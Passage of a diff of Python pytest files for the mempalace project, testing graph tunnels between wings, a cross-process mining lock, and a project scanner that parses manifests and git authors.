tuple(sorted([t["source"]["wing"], t["target"]["wing"]])) for t in created
|
||||
}
|
||||
assert endpoint_pairs == {("wing_a", "wing_b"), ("wing_a", "wing_c")}
|
||||
# The b-c pair is NOT created because wing_a's incremental pass
|
||||
# only computes pairs that include wing_a.
|
||||
assert len(palace_graph.list_tunnels()) == 2
|
||||
|
||||
def test_topic_tunnels_for_wing_unknown_wing_is_noop(self, tmp_path, monkeypatch):
|
||||
_use_tmp_tunnel_file(monkeypatch, tmp_path)
|
||||
topics_by_wing = {"wing_a": ["foo"], "wing_b": ["foo"]}
|
||||
assert palace_graph.topic_tunnels_for_wing("wing_missing", topics_by_wing) == []
|
||||
assert palace_graph.list_tunnels() == []
|
||||
|
||||
def test_compute_topic_tunnels_dedupe_on_recompute(self, tmp_path, monkeypatch):
|
||||
_use_tmp_tunnel_file(monkeypatch, tmp_path)
|
||||
topics_by_wing = {
|
||||
"wing_alpha": ["OpenAPI"],
|
||||
"wing_beta": ["OpenAPI"],
|
||||
}
|
||||
first = palace_graph.compute_topic_tunnels(topics_by_wing, min_count=1)
|
||||
second = palace_graph.compute_topic_tunnels(topics_by_wing, min_count=1)
|
||||
# create_tunnel is symmetric/dedupe — repeated computation should
|
||||
# not multiply the stored tunnels.
|
||||
assert first[0]["id"] == second[0]["id"]
|
||||
assert len(palace_graph.list_tunnels()) == 1
|
||||
|
||||
def test_topic_tunnel_room_does_not_collide_with_literal_room(self, tmp_path, monkeypatch):
|
||||
"""Regression: a literal "Angular" folder-room and a topic tunnel
|
||||
for "Angular" must resolve to distinct endpoints so ``follow_tunnels``
|
||||
from the real room doesn't accidentally surface topic connections
|
||||
(issue raised in review of #1184)."""
|
||||
_use_tmp_tunnel_file(monkeypatch, tmp_path)
|
||||
|
||||
# Explicit tunnel anchored at a literal "Angular" room in wing_alpha.
|
||||
palace_graph.create_tunnel(
|
||||
"wing_alpha", "Angular", "wing_gamma", "frontend", label="explicit"
|
||||
)
|
||||
# Topic tunnel between the same wings that share the "Angular" topic.
|
||||
palace_graph.compute_topic_tunnels(
|
||||
{"wing_alpha": ["Angular"], "wing_beta": ["Angular"]}, min_count=1
|
||||
)
|
||||
|
||||
# follow_tunnels on the literal Angular room only sees the explicit link.
|
||||
literal = palace_graph.follow_tunnels("wing_alpha", "Angular")
|
||||
assert len(literal) == 1
|
||||
assert literal[0]["connected_wing"] == "wing_gamma"
|
||||
|
||||
# The topic tunnel is stored under the namespaced room.
|
||||
topical = palace_graph.follow_tunnels("wing_alpha", "topic:Angular")
|
||||
assert len(topical) == 1
|
||||
assert topical[0]["connected_wing"] == "wing_beta"
|
||||
|
||||
def test_topic_tunnels_carry_kind_field(self, tmp_path, monkeypatch):
|
||||
_use_tmp_tunnel_file(monkeypatch, tmp_path)
|
||||
palace_graph.create_tunnel("wing_a", "auth", "wing_b", "users", label="x")
|
||||
palace_graph.compute_topic_tunnels({"wing_a": ["Redis"], "wing_b": ["Redis"]}, min_count=1)
|
||||
|
||||
tunnels = palace_graph.list_tunnels()
|
||||
kinds = sorted(t["kind"] for t in tunnels)
|
||||
assert kinds == ["explicit", "topic"]
|
||||
|
||||
|
||||
class TestHyphenatedWingNormalization:
|
||||
"""Wing names with hyphens or spaces are normalized to underscores on init.
|
||||
|
||||
Tunnel helpers must apply the same normalization at lookup time so that
|
||||
``mempalace-public`` resolves to ``mempalace_public`` and matches the
|
||||
metadata written by ``room_detector_local.py``.
|
||||
"""
|
||||
|
||||
def test_list_tunnels_filters_hyphenated_wing(self, tmp_path, monkeypatch):
|
||||
_use_tmp_tunnel_file(monkeypatch, tmp_path)
|
||||
|
||||
palace_graph.create_tunnel("mempalace_public", "auth", "wing_people", "users")
|
||||
|
||||
assert len(palace_graph.list_tunnels("mempalace-public")) == 1
|
||||
assert len(palace_graph.list_tunnels("mempalace_public")) == 1
|
||||
|
||||
def test_follow_tunnels_matches_hyphenated_wing(self, tmp_path, monkeypatch):
|
||||
_use_tmp_tunnel_file(monkeypatch, tmp_path)
|
||||
|
||||
palace_graph.create_tunnel("mempalace_public", "auth", "wing_people", "users")
|
||||
|
||||
by_hyphen = palace_graph.follow_tunnels("mempalace-public", "auth")
|
||||
by_under = palace_graph.follow_tunnels("mempalace_public", "auth")
|
||||
assert len(by_hyphen) == 1
|
||||
assert len(by_under) == 1
|
||||
assert by_hyphen[0]["connected_wing"] == "wing_people"
|
||||
|
||||
def test_create_tunnel_normalizes_wing_names(self, tmp_path, monkeypatch):
|
||||
_use_tmp_tunnel_file(monkeypatch, tmp_path)
|
||||
|
||||
t = palace_graph.create_tunnel("my-project", "src", "your-project", "dst", label="cross")
|
||||
assert t["source"]["wing"] == "my_project"
|
||||
assert t["target"]["wing"] == "your_project"
|
||||
assert len(palace_graph.list_tunnels("my_project")) == 1
|
||||
assert len(palace_graph.list_tunnels("my-project")) == 1
|
||||
|
||||
def test_find_tunnels_warns_on_empty_result(self, tmp_path, monkeypatch, caplog):
|
||||
_use_tmp_tunnel_file(monkeypatch, tmp_path)
|
||||
# No data in collection, so build_graph returns empty nodes
|
||||
with caplog.at_level("WARNING", logger="mempalace_graph"):
|
||||
result = palace_graph.find_tunnels("nonexistent-wing")
|
||||
assert result == []
|
||||
assert "No tunnels found" in caplog.text
|
||||
|
||||
@@ -0,0 +1,158 @@
|
||||
"""Tests for mine_palace_lock — the per-palace non-blocking mine guard.
|
||||
|
||||
Covers the fix for the runaway mine fan-out described alongside issues
|
||||
#974 and #965: if N copies of `mempalace mine` are spawned concurrently
|
||||
against the same palace, they must collapse to a single runner rather
|
||||
than queue as waiters that will drive parallel HNSW inserts. Mines
|
||||
against *different* palaces must still be free to run in parallel.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import multiprocessing
|
||||
import os
|
||||
import time
|
||||
|
||||
import pytest
|
||||
|
||||
from mempalace.palace import (
|
||||
MineAlreadyRunning,
|
||||
mine_global_lock,
|
||||
mine_palace_lock,
|
||||
)
|
||||
|
||||
|
||||
def _get_mp_context():
|
||||
"""Pick a start method that works on every CI runner.
|
||||
|
||||
`fork` is cheaper (no re-import) but is unavailable on Windows, so we fall
|
||||
back to `spawn` there. `spawn` inherits ``os.environ`` (including the
|
||||
monkeypatched ``HOME``) and re-imports the ``mempalace`` package in the
|
||||
child, which is sufficient for the lock-file semantics exercised here.
|
||||
"""
|
||||
start_method = "spawn" if os.name == "nt" else "fork"
|
||||
return multiprocessing.get_context(start_method)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def _hold_lock(palace_path: str, ready_flag: str, release_flag: str) -> int:
|
||||
"""Acquire mine_palace_lock, signal readiness, wait for release flag.
|
||||
|
||||
Returns 0 if we acquired the lock, 1 if MineAlreadyRunning was raised.
|
||||
Runs in a child process for true cross-process locking semantics.
|
||||
"""
|
||||
try:
|
||||
with mine_palace_lock(palace_path):
|
||||
# Tell the parent we hold the lock
|
||||
open(ready_flag, "w").close()
|
||||
# Wait until parent tells us to release
|
||||
for _ in range(500):
|
||||
if os.path.exists(release_flag):
|
||||
return 0
|
||||
time.sleep(0.01)
|
||||
return 0
|
||||
except MineAlreadyRunning:
|
||||
return 1
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def test_single_acquire_succeeds(tmp_path, monkeypatch):
|
||||
monkeypatch.setenv("HOME", str(tmp_path))
|
||||
with mine_palace_lock(str(tmp_path / "palace")):
|
||||
pass # should not raise
|
||||
|
||||
|
||||
def test_lock_reusable_after_release(tmp_path, monkeypatch):
|
||||
monkeypatch.setenv("HOME", str(tmp_path))
|
||||
palace = str(tmp_path / "palace")
|
||||
with mine_palace_lock(palace):
|
||||
pass
|
||||
# Re-acquire must succeed now that the previous holder released
|
||||
with mine_palace_lock(palace):
|
||||
pass
|
||||
|
||||
|
||||
def test_same_palace_serializes_across_processes(tmp_path, monkeypatch):
|
||||
"""Two processes contending for the same palace: second must be rejected."""
|
||||
monkeypatch.setenv("HOME", str(tmp_path))
|
||||
palace = str(tmp_path / "palace")
|
||||
ready = str(tmp_path / "ready")
|
||||
release = str(tmp_path / "release")
|
||||
|
||||
ctx = _get_mp_context()
|
||||
holder = ctx.Process(target=_hold_lock, args=(palace, ready, release))
|
||||
holder.start()
|
||||
try:
|
||||
# Wait for the holder to acquire
|
||||
for _ in range(500):
|
||||
if os.path.exists(ready):
|
||||
break
|
||||
time.sleep(0.01)
|
||||
assert os.path.exists(ready), "holder failed to acquire lock in time"
|
||||
|
||||
# From the parent, we must not be able to acquire the same palace lock
|
||||
with pytest.raises(MineAlreadyRunning):
|
||||
with mine_palace_lock(palace):
|
||||
pytest.fail("second acquire of same palace should have raised")
|
||||
finally:
|
||||
open(release, "w").close()
|
||||
holder.join(timeout=5)
|
||||
assert holder.exitcode == 0
|
||||
|
||||
|
||||
def test_different_palaces_dont_conflict(tmp_path, monkeypatch):
|
||||
"""Mines against different palaces must NOT block each other."""
|
||||
monkeypatch.setenv("HOME", str(tmp_path))
|
||||
palace_a = str(tmp_path / "palace_a")
|
||||
palace_b = str(tmp_path / "palace_b")
|
||||
ready = str(tmp_path / "ready_a")
|
||||
release = str(tmp_path / "release_a")
|
||||
|
||||
ctx = _get_mp_context()
|
||||
holder = ctx.Process(target=_hold_lock, args=(palace_a, ready, release))
|
||||
holder.start()
|
||||
try:
|
||||
for _ in range(500):
|
||||
if os.path.exists(ready):
|
||||
break
|
||||
time.sleep(0.01)
|
||||
assert os.path.exists(ready), "holder failed to acquire lock in time"
|
||||
|
||||
# Different palace — must succeed even while palace_a is held
|
||||
with mine_palace_lock(palace_b):
|
||||
pass # no exception expected
|
||||
finally:
|
||||
open(release, "w").close()
|
||||
holder.join(timeout=5)
|
||||
|
||||
|
||||
def test_palace_path_is_normalized(tmp_path, monkeypatch):
|
||||
"""Relative and absolute forms of the same path must use the same lock."""
|
||||
monkeypatch.setenv("HOME", str(tmp_path))
|
||||
monkeypatch.chdir(tmp_path)
|
||||
os.makedirs(tmp_path / "palace", exist_ok=True)
|
||||
absolute = str(tmp_path / "palace")
|
||||
relative = "palace"
|
||||
|
||||
# Hold the lock with the absolute form; attempting to re-acquire with
|
||||
# the relative form (which resolves to the same absolute path) must fail.
|
||||
with mine_palace_lock(absolute):
|
||||
with pytest.raises(MineAlreadyRunning):
|
||||
with mine_palace_lock(relative):
|
||||
pytest.fail("normalized path collision should have raised")
|
||||
|
||||
|
||||
def test_mine_global_lock_is_alias_for_back_compat(tmp_path, monkeypatch):
|
||||
"""Old callers of `mine_global_lock` should still work."""
|
||||
monkeypatch.setenv("HOME", str(tmp_path))
|
||||
assert mine_global_lock is mine_palace_lock
|
||||
with mine_global_lock(str(tmp_path / "palace")):
|
||||
pass # the alias accepts the same palace_path argument
|
||||
@@ -0,0 +1,576 @@
|
||||
"""Tests for mempalace.project_scanner."""
|
||||
|
||||
import json
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
from types import SimpleNamespace
|
||||
|
||||
import pytest
|
||||
|
||||
from mempalace.project_scanner import (
|
||||
PersonInfo,
|
||||
ProjectInfo,
|
||||
_dedupe_people,
|
||||
_is_bot,
|
||||
_looks_like_real_name,
|
||||
_collect_manifest_names,
|
||||
_merge_detected,
|
||||
_parse_cargo,
|
||||
_parse_gomod,
|
||||
_parse_package_json,
|
||||
_parse_pyproject,
|
||||
_UnionFind,
|
||||
discover_entities,
|
||||
find_git_repos,
|
||||
scan,
|
||||
to_detected_dict,
|
||||
)
|
||||
|
||||
# Keep only a small portability-focused allowlist for git subprocesses in tests.
|
||||
GIT_ENV_ALLOWLIST = ("HOME", "SystemRoot", "ComSpec", "TMPDIR", "TEMP", "TMP")
|
||||
GIT_EXECUTABLE = shutil.which("git")
|
||||
|
||||
|
||||
def _gitdir_marker(path: Path) -> str:
|
||||
return f"gitdir: {path}\n"
|
||||
|
||||
|
||||
# ── manifest parsers ────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_parse_package_json(tmp_path):
|
||||
f = tmp_path / "package.json"
|
||||
f.write_text(json.dumps({"name": "my-package", "version": "1.0.0"}))
|
||||
assert _parse_package_json(f) == "my-package"
|
||||
|
||||
|
||||
def test_parse_package_json_missing_name(tmp_path):
|
||||
f = tmp_path / "package.json"
|
||||
f.write_text(json.dumps({"version": "1.0.0"}))
|
||||
assert _parse_package_json(f) is None
|
||||
|
||||
|
||||
def test_parse_package_json_malformed(tmp_path):
|
||||
f = tmp_path / "package.json"
|
||||
f.write_text("{ not valid json")
|
||||
assert _parse_package_json(f) is None
|
||||
|
||||
|
||||
def test_parse_pyproject_pep621(tmp_path):
|
||||
f = tmp_path / "pyproject.toml"
|
||||
f.write_text('[project]\nname = "my-py-package"\n')
|
||||
assert _parse_pyproject(f) == "my-py-package"
|
||||
|
||||
|
||||
def test_parse_pyproject_poetry(tmp_path):
|
||||
f = tmp_path / "pyproject.toml"
|
||||
f.write_text('[tool.poetry]\nname = "poetry-pkg"\n')
|
||||
assert _parse_pyproject(f) == "poetry-pkg"
|
||||
|
||||
|
||||
def test_parse_cargo(tmp_path):
|
||||
f = tmp_path / "Cargo.toml"
|
||||
f.write_text('[package]\nname = "rust-crate"\nversion = "0.1.0"\n')
|
||||
assert _parse_cargo(f) == "rust-crate"
|
||||
|
||||
|
||||
def test_parse_gomod(tmp_path):
|
||||
f = tmp_path / "go.mod"
|
||||
f.write_text("module github.com/user/my-go-mod\n\ngo 1.21\n")
|
||||
assert _parse_gomod(f) == "my-go-mod"
|
||||
|
||||
|
||||
# ── bot filtering ───────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_is_bot_catches_github_actions():
|
||||
assert _is_bot("github-actions[bot]", "41898282+github-actions[bot]@users.noreply.github.com")
|
||||
|
||||
|
||||
def test_is_bot_catches_dependabot():
|
||||
assert _is_bot("dependabot[bot]", "dependabot@github.com")
|
||||
|
||||
|
||||
def test_is_bot_catches_pr_bot():
|
||||
assert _is_bot("Comfy Org PR Bot", "prbot@example.com")
|
||||
|
||||
|
||||
def test_is_bot_does_not_flag_github_privacy_email():
|
||||
# Real humans use ...@users.noreply.github.com when privacy is enabled.
|
||||
# Must NOT be filtered.
|
||||
assert not _is_bot("Igor Lins e Silva", "123456+igorls@users.noreply.github.com")
|
||||
|
||||
|
||||
def test_is_bot_does_not_flag_robot_person_name():
|
||||
# "Robot" as a surname should not trigger the \bbot$ pattern
|
||||
# since \b requires a boundary before 'bot'.
|
||||
assert not _is_bot("Sarah Robot", "sarah@example.com")
|
||||
|
||||
|
||||
def test_looks_like_real_name_accepts_human():
|
||||
assert _looks_like_real_name("Igor Lins e Silva")
|
||||
assert _looks_like_real_name("Jane Doe")
|
||||
|
||||
|
||||
def test_looks_like_real_name_rejects_handles():
|
||||
assert not _looks_like_real_name("666ghj")
|
||||
assert not _looks_like_real_name("comfyanonymous")
|
||||
assert not _looks_like_real_name("bensig")
|
||||
assert not _looks_like_real_name("")
|
||||
assert not _looks_like_real_name("no_spaces_handle")
|
||||
|
||||
|
||||
# ── union-find dedup ────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_unionfind_merges_shared_email():
|
||||
commits = [
|
||||
("Milla J", "shared@example.com", "repo1"),
|
||||
("MSL", "shared@example.com", "repo1"),
|
||||
("Milla J", "other@example.com", "repo1"),
|
||||
]
|
||||
people = _dedupe_people(commits)
|
||||
# All three commits collapse into one "Milla J" person (MSL is filtered
|
||||
# as display name because it lacks a space but its commits still count).
|
||||
assert "Milla J" in people
|
||||
assert people["Milla J"].total_commits == 3
|
||||
assert "MSL" not in people
|
||||
|
||||
|
||||
def test_unionfind_keeps_distinct_people_separate():
|
||||
commits = [
|
||||
("Alice Example", "alice@example.com", "r"),
|
||||
("Bob Sample", "bob@sample.org", "r"),
|
||||
]
|
||||
people = _dedupe_people(commits)
|
||||
assert "Alice Example" in people
|
||||
assert "Bob Sample" in people
|
||||
|
||||
|
||||
def test_unionfind_merges_shared_name():
|
||||
"""Same display name, two different emails, same person."""
|
||||
commits = [
|
||||
("Jane Doe", "jane@work.com", "r"),
|
||||
("Jane Doe", "jane@personal.com", "r"),
|
||||
]
|
||||
people = _dedupe_people(commits)
|
||||
assert people["Jane Doe"].total_commits == 2
|
||||
assert len(people["Jane Doe"].emails) == 2
|
||||
|
||||
|
||||
# ── project_info / person_info ─────────────────────────────────────────
|
||||
|
||||
|
||||
def test_project_info_confidence_is_mine():
|
||||
p = ProjectInfo(name="x", repo_root=Path("."), is_mine=True)
|
||||
assert p.confidence == 0.99
|
||||
|
||||
|
||||
def test_project_info_confidence_no_git():
|
||||
p = ProjectInfo(name="x", repo_root=Path("."), has_git=False, manifest="package.json")
|
||||
assert p.confidence > 0.8
|
||||
|
||||
|
||||
def test_person_info_signal_pluralization():
|
||||
p = PersonInfo(name="x", total_commits=1, repos={"a"})
|
||||
assert "1 commit across 1 repo" == p.to_signal()
|
||||
p2 = PersonInfo(name="y", total_commits=5, repos={"a", "b"})
|
||||
assert "5 commits across 2 repos" == p2.to_signal()
|
||||
|
||||
|
||||
# ── find_git_repos ──────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_find_git_repos_detects_root_repo(tmp_path):
|
||||
(tmp_path / ".git").mkdir()
|
||||
repos = find_git_repos(tmp_path)
|
||||
assert tmp_path in repos
|
||||
|
||||
|
||||
def test_find_git_repos_detects_nested(tmp_path):
|
||||
sub = tmp_path / "subproject"
|
||||
sub.mkdir()
|
||||
(sub / ".git").mkdir()
|
||||
repos = find_git_repos(tmp_path)
|
||||
assert sub in repos
|
||||
|
||||
|
||||
def test_find_git_repos_skips_nested_inside_repo(tmp_path):
|
||||
"""If root is a repo, nested repos are still discovered as separate roots."""
|
||||
(tmp_path / ".git").mkdir()
|
||||
deep = tmp_path / "a" / "b" / "nested-repo"
|
||||
deep.mkdir(parents=True)
|
||||
(deep / ".git").mkdir()
|
||||
repos = find_git_repos(tmp_path)
|
||||
assert tmp_path in repos
|
||||
assert deep in repos
|
||||
|
||||
|
||||
def test_find_git_repos_detects_git_file_markers(tmp_path):
|
||||
(tmp_path / ".git").write_text(_gitdir_marker(tmp_path.parent / "root.git"))
|
||||
sub = tmp_path / "subproject"
|
||||
sub.mkdir()
|
||||
(sub / ".git").write_text(_gitdir_marker(tmp_path.parent / "sub.git"))
|
||||
repos = find_git_repos(tmp_path)
|
||||
assert tmp_path in repos
|
||||
assert sub in repos
|
||||
|
||||
|
||||
def test_find_git_repos_empty_dir(tmp_path):
|
||||
assert find_git_repos(tmp_path) == []
|
||||
|
||||
|
||||
# ── scan ────────────────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def _require_git() -> None:
|
||||
if GIT_EXECUTABLE is None:
|
||||
pytest.skip("git executable not available")
|
||||
|
||||
|
||||
def _git_test_env(name: str, email: str) -> dict[str, str]:
|
||||
env = {
|
||||
"GIT_AUTHOR_NAME": name,
|
||||
"GIT_AUTHOR_EMAIL": email,
|
||||
"GIT_COMMITTER_NAME": name,
|
||||
"GIT_COMMITTER_EMAIL": email,
|
||||
}
|
||||
for key in GIT_ENV_ALLOWLIST:
|
||||
value = os.environ.get(key)
|
||||
if value:
|
||||
env[key] = value
|
||||
return env
|
||||
|
||||
|
||||
def _git(*args: str) -> list[str]:
|
||||
_require_git()
|
||||
assert GIT_EXECUTABLE is not None
|
||||
return [GIT_EXECUTABLE, *args]
|
||||
|
||||
|
||||
def _git_commit(
|
||||
path: Path, filename: str, content: str, message: str, name: str, email: str
|
||||
) -> None:
|
||||
_require_git()
|
||||
env = _git_test_env(name, email)
|
||||
(path / filename).write_text(content)
|
||||
subprocess.run(_git("add", filename), cwd=path, check=True, env=env)
|
||||
subprocess.run(_git("commit", "-q", "-m", message), cwd=path, check=True, env=env)
|
||||
|
||||
|
||||
def _init_git_repo(path: Path, name: str = "Jane Doe", email: str = "jane@example.com"):
|
||||
"""Helper: init a git repo with one commit."""
|
||||
_require_git()
|
||||
subprocess.run(_git("init", "-q"), cwd=path, check=True)
|
||||
subprocess.run(_git("config", "user.name", name), cwd=path, check=True)
|
||||
subprocess.run(_git("config", "user.email", email), cwd=path, check=True)
|
||||
subprocess.run(_git("config", "commit.gpgsign", "false"), cwd=path, check=True)
|
||||
_git_commit(path, "README.md", "hello", "initial", name, email)
|
||||
|
||||
|
||||
def test_scan_project_from_package_json(tmp_path):
|
||||
(tmp_path / "package.json").write_text(json.dumps({"name": "my-app"}))
|
||||
_init_git_repo(tmp_path)
|
||||
projects, people = scan(tmp_path)
|
||||
assert len(projects) == 1
|
||||
assert projects[0].name == "my-app"
|
||||
assert projects[0].is_mine is True
|
||||
|
||||
|
||||
def test_scan_project_from_pyproject(tmp_path):
|
||||
(tmp_path / "pyproject.toml").write_text('[project]\nname = "pyproj"\n')
|
||||
_init_git_repo(tmp_path)
|
||||
projects, _ = scan(tmp_path)
|
||||
assert any(p.name == "pyproj" for p in projects)
|
||||
|
||||
|
||||
def test_scan_prefers_root_manifest_with_explicit_priority(tmp_path):
|
||||
(tmp_path / "package.json").write_text(json.dumps({"name": "package-name"}))
|
||||
(tmp_path / "pyproject.toml").write_text('[project]\nname = "pyproject-name"\n')
|
||||
nested = tmp_path / "nested"
|
||||
nested.mkdir()
|
||||
(nested / "package.json").write_text(json.dumps({"name": "nested-name"}))
|
||||
_init_git_repo(tmp_path)
|
||||
projects, _ = scan(tmp_path)
|
||||
assert projects[0].name == "pyproject-name"
|
||||
|
||||
|
||||
def test_scan_fallback_to_dir_name_when_no_manifest(tmp_path):
|
||||
repo = tmp_path / "my-repo-name"
|
||||
repo.mkdir()
|
||||
_init_git_repo(repo)
|
||||
projects, _ = scan(tmp_path)
|
||||
assert any(p.name == "my-repo-name" for p in projects)
|
||||
|
||||
|
||||
def test_scan_manifest_only_no_git(tmp_path):
|
||||
"""A dir with a manifest but no git still produces a project."""
|
||||
(tmp_path / "package.json").write_text(json.dumps({"name": "manifest-only"}))
|
||||
projects, people = scan(tmp_path)
|
||||
assert len(projects) == 1
|
||||
assert projects[0].name == "manifest-only"
|
||||
assert projects[0].has_git is False
|
||||
assert people == []
|
||||
|
||||
|
||||
def test_collect_manifest_names_stops_at_git_file_boundary(tmp_path):
|
||||
(tmp_path / ".git").write_text(_gitdir_marker(tmp_path.parent / "root.git"))
|
||||
(tmp_path / "package.json").write_text(json.dumps({"name": "root-name"}))
|
||||
nested = tmp_path / "nested"
|
||||
nested.mkdir()
|
||||
(nested / ".git").write_text(_gitdir_marker(tmp_path.parent / "nested.git"))
|
||||
(nested / "package.json").write_text(json.dumps({"name": "nested-name"}))
|
||||
manifests = _collect_manifest_names(tmp_path)
|
||||
assert [name for _file, name, _dir in manifests] == ["root-name"]
|
||||
|
||||
|
||||
def test_scan_excludes_bot_commits_from_totals(tmp_path):
|
||||
(tmp_path / "package.json").write_text(json.dumps({"name": "my-app"}))
|
||||
_init_git_repo(tmp_path, name="Jane Doe", email="jane@example.com")
|
||||
_git_commit(
|
||||
tmp_path,
|
||||
"bot.txt",
|
||||
"generated",
|
||||
"bot update",
|
||||
"github-actions[bot]",
|
||||
"41898282+github-actions[bot]@users.noreply.github.com",
|
||||
)
|
||||
projects, people = scan(tmp_path)
|
||||
assert projects[0].total_commits == 1
|
||||
assert projects[0].user_commits == 1
|
||||
assert [person.name for person in people] == ["Jane Doe"]
|
||||
|
||||
|
||||
def test_scan_empty_dir(tmp_path):
|
||||
projects, people = scan(tmp_path)
|
||||
assert projects == []
|
||||
assert people == []
|
||||
|
||||
|
||||
def test_scan_returns_empty_for_nonexistent(tmp_path):
|
||||
missing = tmp_path / "does-not-exist"
|
||||
projects, people = scan(missing)
|
||||
assert projects == []
|
||||
assert people == []
|
||||
|
||||
|
||||
# ── to_detected_dict ────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_to_detected_dict_shape():
|
||||
projects = [ProjectInfo(name="p", repo_root=Path("."), is_mine=True, manifest="package.json")]
|
||||
people = [PersonInfo(name="Jane Doe", total_commits=5, repos={"r"})]
|
||||
d = to_detected_dict(projects, people)
|
||||
# ``topics`` is the LLM-refine bucket for cross-wing tunnel signal —
|
||||
# always present even when empty so callers can rely on the shape.
|
||||
assert set(d.keys()) == {"people", "projects", "topics", "uncertain"}
|
||||
assert d["projects"][0]["name"] == "p"
|
||||
assert d["projects"][0]["type"] == "project"
|
||||
assert d["people"][0]["name"] == "Jane Doe"
|
||||
assert d["people"][0]["type"] == "person"
|
||||
assert d["topics"] == []
|
||||
assert d["uncertain"] == []
|
||||
|
||||
|
||||
# ── merge ───────────────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_merge_primary_wins_case_insensitive():
|
||||
primary = {
|
||||
"people": [],
|
||||
"projects": [
|
||||
{
|
||||
"name": "mempalace",
|
||||
"type": "project",
|
||||
"confidence": 0.99,
|
||||
"frequency": 10,
|
||||
"signals": ["pyproject.toml"],
|
||||
}
|
||||
],
|
||||
"uncertain": [],
|
||||
}
|
||||
secondary = {
|
||||
"people": [],
|
||||
"projects": [],
|
||||
"uncertain": [
|
||||
{
|
||||
"name": "MemPalace",
|
||||
"type": "uncertain",
|
||||
"confidence": 0.4,
|
||||
"frequency": 6,
|
||||
"signals": ["regex"],
|
||||
}
|
||||
],
|
||||
}
|
||||
merged = _merge_detected(primary, secondary)
|
||||
# `MemPalace` (uncertain) is deduped against `mempalace` (project) case-insensitively
|
||||
assert len(merged["projects"]) == 1
|
||||
assert len(merged["uncertain"]) == 0
|
||||
|
||||
|
||||
def test_merge_drops_secondary_uncertain_when_requested():
|
||||
primary = {"people": [], "projects": [], "uncertain": []}
|
||||
secondary = {
|
||||
"people": [],
|
||||
"projects": [],
|
||||
"uncertain": [
|
||||
{"name": "Foo", "type": "uncertain", "confidence": 0.4, "frequency": 3, "signals": []}
|
||||
],
|
||||
}
|
||||
merged = _merge_detected(primary, secondary, drop_secondary_uncertain=True)
|
||||
assert merged["uncertain"] == []
|
||||
|
||||
|
||||
def test_merge_keeps_distinct_names():
|
||||
primary = {
|
||||
"people": [
|
||||
{
|
||||
"name": "Alice Smith",
|
||||
"type": "person",
|
||||
"confidence": 0.9,
|
||||
"frequency": 10,
|
||||
"signals": [],
|
||||
}
|
||||
],
|
||||
"projects": [],
|
||||
"uncertain": [],
|
||||
}
|
||||
secondary = {
|
||||
"people": [
|
||||
{
|
||||
"name": "Bob Jones",
|
||||
"type": "person",
|
||||
"confidence": 0.7,
|
||||
"frequency": 3,
|
||||
"signals": [],
|
||||
}
|
||||
],
|
||||
"projects": [],
|
||||
"uncertain": [],
|
||||
}
|
||||
merged = _merge_detected(primary, secondary)
|
||||
assert len(merged["people"]) == 2
|
||||
|
||||
|
||||
# ── discover_entities ──────────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_discover_entities_falls_back_to_prose_when_no_git(tmp_path):
|
||||
"""If no manifests or git, regex detector on prose is the only source."""
|
||||
notes = tmp_path / "notes.md"
|
||||
notes.write_text(
|
||||
"Riley said hello. Riley asked about it. Riley laughed. "
|
||||
"Hey Riley, thanks for the help. Riley pushed the change. "
|
||||
"Riley decided to go."
|
||||
)
|
||||
d = discover_entities(str(tmp_path))
|
||||
# Prose-only fallback kicks in — Riley appears with person signals
|
||||
all_names = [e["name"] for cat in d.values() for e in cat]
|
||||
assert "Riley" in all_names
|
||||
|
||||
|
||||
def test_discover_entities_prefers_real_signal_over_prose(tmp_path):
|
||||
"""When manifest exists, its name wins even if prose has noisy candidates."""
|
||||
(tmp_path / "package.json").write_text(json.dumps({"name": "realproj"}))
|
||||
_init_git_repo(tmp_path)
|
||||
(tmp_path / "doc.md").write_text(
|
||||
"Something. Another. Whatever. Context. Context. Context. Context. "
|
||||
"realproj. realproj. realproj. realproj."
|
||||
)
|
||||
d = discover_entities(str(tmp_path))
|
||||
proj_names = [e["name"] for e in d["projects"]]
|
||||
assert "realproj" in proj_names
|
||||
|
||||
|
||||
def test_discover_entities_keeps_uncertain_for_llm_when_real_signal(tmp_path):
|
||||
"""With --llm, regex-uncertain prose candidates should reach refinement."""
|
||||
(tmp_path / "package.json").write_text(json.dumps({"name": "realproj"}))
|
||||
_init_git_repo(tmp_path)
|
||||
(tmp_path / "doc.md").write_text("Noise appeared. Noise repeated. Noise again.")
|
||||
|
||||
class FakeProvider:
|
||||
def __init__(self):
|
||||
self.prompts = []
|
||||
|
||||
def classify(self, _system, user, json_mode=True):
|
||||
self.prompts.append(user)
|
||||
return SimpleNamespace(
|
||||
text='{"classifications": [{"name": "Noise", "label": "COMMON_WORD"}]}'
|
||||
)
|
||||
|
||||
provider = FakeProvider()
|
||||
d = discover_entities(str(tmp_path), llm_provider=provider, show_progress=False)
|
||||
|
||||
assert len(provider.prompts) == 1
|
||||
assert "Noise" in provider.prompts[0]
|
||||
assert "Noise" not in [e["name"] for cat in d.values() for e in cat]
|
||||
|
||||
|
||||
def test_discover_entities_keeps_llm_only_project_uncertain_when_real_signal(tmp_path):
|
||||
"""Repo roots should not auto-promote LLM-only tools/topics into projects."""
|
||||
(tmp_path / "package.json").write_text(json.dumps({"name": "realproj"}))
|
||||
_init_git_repo(tmp_path)
|
||||
(tmp_path / "doc.md").write_text("Terraform shipped. Terraform changed. Terraform runs.")
|
||||
|
||||
class FakeProvider:
|
||||
def classify(self, _system, _user, json_mode=True):
|
||||
return SimpleNamespace(
|
||||
text='{"classifications": [{"name": "Terraform", "label": "PROJECT"}]}'
|
||||
)
|
||||
|
||||
d = discover_entities(str(tmp_path), llm_provider=FakeProvider(), show_progress=False)
|
||||
|
||||
